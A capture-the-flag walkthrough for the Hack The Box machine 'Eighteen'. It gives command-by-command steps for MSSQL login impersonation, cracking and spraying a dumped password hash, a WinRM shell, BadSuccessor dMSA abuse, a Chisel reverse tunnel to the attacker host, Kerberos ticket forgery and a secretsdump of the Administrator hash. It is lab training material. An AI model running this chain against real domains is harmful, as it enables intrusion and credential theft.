Eighteen

- Target: `eighteen.htb'

Run a full TCP scan to identify services:

```
nmap -A -Pn -sC -sV 10.129.X.X
```

Open Ports:

- `80/tcp` — HTTP
- `1433/tcp` — MSSQL
- `5985/tcp` — WinRM

Connect to MSSQL using Impacket:

```
impacket-mssqlclient kevin:'iNa2we6haRj2gaw!'@10.129.X.X
```

Enumerate impersonation rights:

```
enum_impersonate
```

If you find that `kevin` can impersonate a higher-privileged login (e.g., `appdev`), take advantage:

```
execute_as_login appdev
```

Once impersonated:

```
USE financial_planner;
SELECT username, password_hash FROM dbo.users;
```

Extract relevant hashes, likely in PBKDF2-SHA256 format.

Save the hash to a file (e.g., `hash.txt`) for cracking.

https://github.com/qui113x/Werkzeug-PBKDF2-Hash-Converter

Run the script above to convert the hash, use hashcat with rockyou.

Password Recovered:

```
iloveyou1
```

Run the following command with an updated version of netexec:

```
nxc mssql 10.129.X.X -u kevin -p 'iNa2we6haRj2gaw!' --rid-brute --local-auth
```

Using the results above, spray all users with the iloveyou1 password.

```
nxc mssql 10.129.X.X -u users.txt -p iloveyou1
```

adam.scott seems to be the user with this password.

This can be used with winrm as that port is open

With valid credentials (e.g., `adam.scott:iloveyou1`):

```
evil-winrm -i 10.129.X.X -u adam.scott -p iloveyou1
```

You now have a WinRM shell inside the domain.

From the WinRM shell, enumerate System, AD objects, and permissions:

```
Get-ComputerInfo -Property WindowsProductName, WindowsVersion, OsVersion,
OsHardwareAbstractionLayer

Get-ADOrganizationalUnit -Filter * | Select DistinguishedName

$ou = "OU=Staff,DC=eighteen,DC=htb"
```

```
(Get-Acl "AD:$ou").Access | Where-Object {$_.IdentityReference -match
"EIGHTEEN\IT"}
```

The version of Windows is vulnerable to BadSuccessor. The other commands show that the correct permissions are in place.

From Staff group permissions:

```
ActiveDirectoryRights : CreateChild
InheritanceType       : None
ObjectType            : 00000000-0000-0000-0000-000000000000
InheritedObjectType   : 00000000-0000-0000-0000-000000000000
ObjectFlags           : None
AccessControlType     : Allow
IdentityReference     : EIGHTEEN\IT
IsInherited           : False
InheritanceFlags      : None
PropagationFlags      : None
```

Copy over BadSuccessor.ps1 to the target:
https://raw.githubusercontent.com/LuemmelSec/Pentest-Tools-Collection/refs/heads/main/tools/ActiveDirectory/BadSuccessor.ps1

Copy over a compiled version of SharpSuccessor to the target:
https://github.com/logangoins/SharpSuccessor
(You can compile the tool in Kali or from Windows)

Copy over a proxy tool such as Logolo or Chisel. The examples below will be the newest version of Chisel.

From your WinRM shell:

```
./BadSuccessor.ps1 -mode exploit `
 -Path "OU=Staff,DC=eighteen,DC=htb" `
 -Name "test1$" `
 -DelegateAdmin "adam.scott" `
 -DelegateTarget "Administrator" `
 -domain "eighteen.htb"
```

This sets up a delegated resource for the user test1, this can be changed to anything, but make sure to use it across both commands.

Next, create and weaponize the dMSA:

```
.\SharpSuccessor.exe add `
 /impersonate:Administrator `
 /path:"OU=Staff,DC=eighteen,DC=htb" `
 /account:adam.scott `
 /name:test1
```

This writes the necessary AD attributes that allow `test1$` to impersonate Administrator.

Kerberos must be reachable, even if Kerberos port 88 isn't visible externally. Use a tunnel:

On Kali:

```
./chisel server --reverse -p 9999
```

On WinRM:

```
.\chisel.exe client 10.10.X.X:9999 R:5000:socks
```

Update your ProxyChains config to use `127.0.0.1:5000`.

From your attack machine:

```
proxychains getST.py \
 -impersonate 'test1$' \
 -dmsa eighteen.htb/adam.scott:iloveyou1 \
 -self
```

You should see Kerberos keys and a `*.ccache` file.

Load your Kerberos ticket:

```
export KRB5CCNAME=test1\$@krbtgt_EIGHTEEN.HTB@EIGHTEEN.HTB.ccache
```

Use SecretsDump to extract the Administrator hash:

```
proxychains secretsdump.py -k -no-pass \
 dc01.eighteen.htb \
 -just-dc-user Administrator
```

You should see:

```
Administrator:500:...:0b133be956bfaddf9cea56701affddec
```

You now have Domain Admin credentials.

Use evil-winrm to access root.txt on the Desktop.